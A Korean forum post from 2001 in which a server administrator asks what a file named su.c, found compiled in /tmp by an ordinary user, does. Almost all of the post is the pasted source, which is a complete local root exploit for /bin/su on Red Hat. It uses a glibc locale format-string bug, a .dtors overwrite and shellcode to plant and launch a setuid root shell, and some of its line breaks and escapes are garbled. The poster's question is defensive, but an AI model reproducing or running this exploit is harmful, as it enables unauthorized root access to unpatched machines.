>> Delete No. 20707 article
No. [부탁] 이 su.c 파일이 어떤 기능을 수행하는
파일인지...

등록 2001-02-13 10:53:00 By localhost     조회 2
이름 peace    

		제 서버의 일반 계정 사용자가 /tmp 디렉토리에 su.c란 파일을 올려놓고
 su란 파일로 컴파일 해놓은 걸 발견했습니다.
 이 su란 파일이 어떤 용도인지궁금해서요..
   아래는 su.c파일의 소스입니다.
   시작
------------------------------------------------------------
/* su.c by xp, modified by logikal@efnet - tested on redhat 5 -> 7 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>
 char *shellcode =
"x31xc0x83xc0x17x31xdbxcdx80xeb"
"x30x5fx31xc9x88x4fx17x88x4fx1a"
"x8dx5fx10x89x1fx8dx47x18x89x47"
"x04x8dx47x1bx89x47x08x31xc0x89"
"x47x0cx8dx0fx8dx57x0cx83xc0x0b"
"xcdx80x31xdbx89xd8x40xcdx80xe8"
"xcbxffxffxffx41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41"
"x2fx62x69x6ex2fx73x68x30x2dx63"
"x30"
"chown root /tmp/xp;chmod 4777 /tmp/xp";
 char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;
 char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;
 char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();
 int main(int argc, char **argv)
{
char execbuf[1024];
unsigned long dtors_addr = 0xAABBCCDD;
unsigned long sh_addr = 0xBFFFFFFF;
FILE *f;
char *env[3];
char *args[6];
int eat = 0, pad = 0, fd;
char *nop_env;
int offset = 5000;
struct stat st;
int pid, c;
char randfile[1024];
char *args2[2], opt;
 printf("su exploit by XP <xp at xtreme-power.com>");
printf("Enjoy!");
 while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
switch(opt) {
case 'o':
offset = atoi(optarg);
break;
case 'n':
NOP_LEN = atoi(optarg);
break;
case 'm':
msgfmt = strdup(optarg);
break;
case 'O':
objdump = strdup(optarg);
break;
case 'e':
sscanf(optarg, "%i:%i", &eat, &pad);
break;
case 'l':
language = (char*) malloc(40 + strlen(optarg));
if (!language) {
printf("malloc failedaborting");
exit(0);
}
memset(language, 0, 40 + strlen(optarg));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
break;
default:
exit(0);
}
 printf("Phase 1. Checking paths and write permisions");
printf(" Checking for %s...", msgfmt);
checkfor(msgfmt);
printf(" Checking for %s...", objdump);
checkfor(objdump);
 printf(" Checking write permisions on /tmp...");
if (stat("/tmp", &st) < 0) {
printf("failed. cannot stat /tmpaborting");
exit(0);
}
 if (!(st.st_mode & S_IWOTH)) {
printf("failed. /tmp it's not +waborting");
exit(0);
}
printf("Ok");
fflush(stdout);
 printf(" Checking read permisions on /bin/su...");
if (stat("/bin/su", &st) < 0) {
printf("failed. cannot stat /bin/suaborting");
exit(0);
}
 if (!(st.st_mode & S_IROTH)) {
printf("failed. /bin/su it's not +raborting");
exit(0);
}
printf("Ok");
fflush(stdout);
 if (!language) {
printf(" Checking for a valid language...");
search_valid_language();
printf("Ok");
}
 printf(" Checking that %s does not exist...", LC_MESSAGES);
if (stat(LC_MESSAGES, &st) >= 0) {
printf("failed. %s existsaborting", LC_MESSAGES);
exit(0);
}
printf("Ok");
fflush(stdout);
 printf("Phase 2. Calculating eat and pad values ");
srand(time(NULL));
 if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i", eat, pad);
else {
calculate_eat_space(&eat, &pad);
printf("done eat = %i and pad = %i", eat, pad);
}
fflush(stdout);
 sh_addr -= offset;
 printf("Phase 3. Creating evil libc.mo and setting enviroment
vars");
fflush(stdout);
 mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);
 f = fopen("libc.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}
fprintf(f,"msgid "%%s: invalid option -- %%c
"");
fprintf(f,"msgstr "%s
"", make_format_string(sh_addr, eat, 0));
fclose(f);
 sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
system(execbuf);
 nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failedaborting");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);
 env[0] = language;
env[1] = NULL;
 printf("Phase 4. Getting address of .dtors section of /bin/su ");
dtors_addr = get_dtors_addr();
printf("done .dtors is at 0x%08x", dtors_addr);
fflush(stdout);
 printf("Phase 5. Compiling suid shell");
fflush(stdout);
 make_suid_shell();
 printf("Phase 6. Executing /bin/su");
fflush(stdout);
 args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(dtors_addr, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;
 sprintf(randfile, "/tmp/tmprand%i", rand());
 if (!(pid = fork())) {
close(1);
close(2);
fd = open(randfile, O_CREAT | O_RDWR);
dup2(fd, 1);
dup2(fd, 2);
execve(args[0], args, env);
printf("failed to exec /bin/su"); exit(0);
}
 if (pid < 0) {
perror("fork()");
exit(0);
}
 waitpid(pid, &c, 0);
 unlink(randfile);
 stat("/tmp/xp", &st);
if (!(S_ISUID & st.st_mode)) {
printf("failed to put mode 4777 to /tmp/xpaborting");
exit(0);
}
 printf(" - Entering rootshell ;-) -");
fflush(stdout);
 if (!(pid = fork())) {
args2[0] = "/tmp/xp";
args2[1] = NULL;
execve(args2[0], args2, NULL);
printf("failed to exec /tmp/xp");
exit(0);
}
 if (pid < 0) {
perror("fork()");
exit(0);
}
 waitpid(pid, &c, 0);
 printf("Phase 7. Cleaning enviroment");
sprintf(execbuf, "rm -rf %s /tmp/xp", LC_MESSAGES);
system(execbuf);
}
 char ret_make_format[0xffff];
 char *make_format_string(unsigned long sh_addr, int eat, int test)
{
char *ret = ret_make_format;
int c, waste;
int hi, lo;
 memset(ret, 0, 0xffff);
 for (c = 0; c < eat; c++) strcat(ret, "%8x");
 waste = 8 * eat;
 hi = (sh_addr & 0xffff0000) >> 16;
lo = (sh_addr & 0xffff) - hi;
if (!test) {
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
}
else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
return ret;
}
 unsigned long get_dtors_addr()
{
char exec_buf[1024];
char file[128];
char buf[1024], sect[1024];
FILE *f;
unsigned long ret = 0, tmp1, tmp2, tmp3;
 sprintf(file, "/tmp/tmprand%i", rand());
sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);
 system(exec_buf);
 f = fopen(file, "r");
if (!f) {
perror("fopen()");
exit(0);
}
 while (!feof(f)) {
fgets(buf, 1024, f);
sscanf(buf, " %i .%s %x %x ", &tmp1, sect, &tmp2, &tmp3);
printf("."); fflush(stdout);
if (strcmp(sect, "dtors")) continue;
ret = tmp3;
break;
}
 unlink(file);
 if (!ret) {
printf("error getting the address of .dtorsaborting");
exit(0);
}
 return ret+4;
}
 char ret_make_ret_str[0xffff];
 char *make_ret_str(unsigned long dtors_addr, int pad)
{
char *ret = ret_make_ret_str, *ptr2;
unsigned long *ptr = (unsigned long*) ret;
int c;
 memset(ret, 0, 0xffff);
 *ptr = dtors_addr+2;
*(ptr+1) = 0xAABBCCDD;
*(ptr+2) = dtors_addr;
 ptr2 = &ret[strlen(ret)];
while (pad--)
*(ptr2++) = 0xaa;
 return ret;
}
 void calculate_eat_space(int *eatr, int *padr)
{
int eat = 0, pad = 0;
char tmpfile[128];
FILE *f;
char execbuf[1024];
int fds[2], tmpfd;
unsigned long test_value = 0xAABBCCDD;
char *nop_env;
char *env[2];
char *args[6];
char buf[1024];
int l, pid;
struct stat st;
char *readbuf = NULL, *token;
unsigned long t1, t2;
 tmpfile[0] = '';
 nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failedabor
ting");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);

 for (eat = 50; eat < 200; eat++) {
for (pad = 0; pad < 4; pad++) {
 if (tmpfile[0]) unlink(tmpfile);
 chdir("/");
 spri
ntf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
 mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);
 f = fopen("libc
.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}
 fprintf(f,"msgid "%%s: invalid option -- %%c
"");
fprintf(f,"msgst
r "%s
"", make_format_string(0xbfffffbb, eat,
1));
fclose(f);
 sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.m
o",
msgfmt);
system(execbuf);
 pipe(&fds);
 if (!(pid = fork())) {
 close(fds[0]);
close(1);
close(2);
 dup2(fds[1], 1);

dup2(fds[1], 2);
 env[0] = language;
env[1] = NULL;
 args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(test_va
lue, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;
 execve(args[0], args, env);
}
 if (pid < 0) {
perror("for
k()");
exit(0);
}
 close(fds[1]);
 sprintf(tmpfile, "/tmp/tmprand%i", rand());
tmpfd = open(tmpfile, O_RDWR | O_CREAT);

if (tmpfd < 0) {
perror("open()");
exit(0);
}
while ((l = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, l);
close(tmpf
d);
 waitpid(pid, &l, 0);
 stat(tmpfile, &st);
 chmod(tmpfile, 0777);
 f = fopen(tmpfile, "r");
if (!f) {
perror("fopen(
)");
exit(0);
}
 if (readbuf) free(readbuf);
readbuf = (char*) malloc(st.st_size);
if (!readbuf) {
printf("malloc failed
aborting");
exit(0);
}
 memset(readbuf, 0, st.st_size);
 fread(readbuf, 1, st.st_size, f);
fclose(f);
 token = strtok(re
adbuf, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;
 t1 = strtoul(token, NULL, 16);
toke
n = strtok(NULL, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;
t2 = strtoul(token, NULL, 
16);
 if (t2 == test_value)
if (t1 == (test_value+2)) {
*eatr = eat;
*padr = pad;
sprintf(execbuf, "rm -rf %s", LC_MESSA
GES);
system(execbuf);
if (tmpfile[0]) unlink(tmpfile);
return;
}
 // sleep(10);
}
printf(".");
fflush(stdout);
}
 if (t
mpfile[0]) unlink(tmpfile);
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
 printf("failed to calculate ea
t and pad values. glibc patched or
invalid language?aborting");
exit(0);
}
 void checkfor(char *p)
{
int fd;
fd = open(p
, O_RDONLY);
if (fd < 0) {
printf("failedaborting");
exit(0);
}
close(fd);
printf("Ok");
fflush(stdout);
}
 void make_su
id_shell()
{
FILE *f;
char execbuf[1024];
 f = fopen("/tmp/kidd0.c", "w");
if (!f) {
printf(" failed to create /tmp/kidd
0.caborting");
exit(0);
}
 fprintf(f, "int main() { setuid(0); setgid(0); system("/bin/sh");
}");
fclose(f);
 sprintf(ex
ecbuf, "gcc /tmp/kidd0.c -o /tmp/xp");
system(execbuf);
 sprintf(execbuf, "rm -f /tmp/kidd0.c");
system(execbuf);
 f = f
open("/tmp/xp", "r");
if (!f) {
printf(" failed to compile /tmp/kidd0.caborting");
exit(0);
}
fclose(f);
 printf(" /tmp/
xp created Ok");
fflush(stdout);
}
 void search_valid_language()
{
DIR *locale;
struct dirent *dentry;
 locale = opendir
("/usr/share/locale");
if (!locale) {
perror("failed to opendir /usr/share/locale");
printf("aborting");
exit(0);
}
 whi
le (dentry = readdir(locale)) {
 if (!strchr(dentry->d_name, '_')) continue;
 language = (char*) malloc(40 + strlen(dent
ry->d_name));
if (!language) {
printf("malloc failedaborting");
exit(0);
}
memset(language, 0, 40 + strlen(dentry->d_nam
e));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp",dentry->d_name);
closedir(locale);
printf(" [using %s] ", den
try->d_name);
return;
}
 printf("failed to find a valid languageaborting");
exit(0);
}
/*                   www
.hack.co.za  [15 January 2001]*/
 --------------------------------------------------------------
끝
     이 su.c 파
일 좀 분석해주시겠어요? 고수님들..--리눅스 화이팅!
[관리자] 패스워드를 입력 하십시오. 답장이 존재하면 함께 삭제됩니다.[ 목록 | 이전 ]
패스워드:    

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved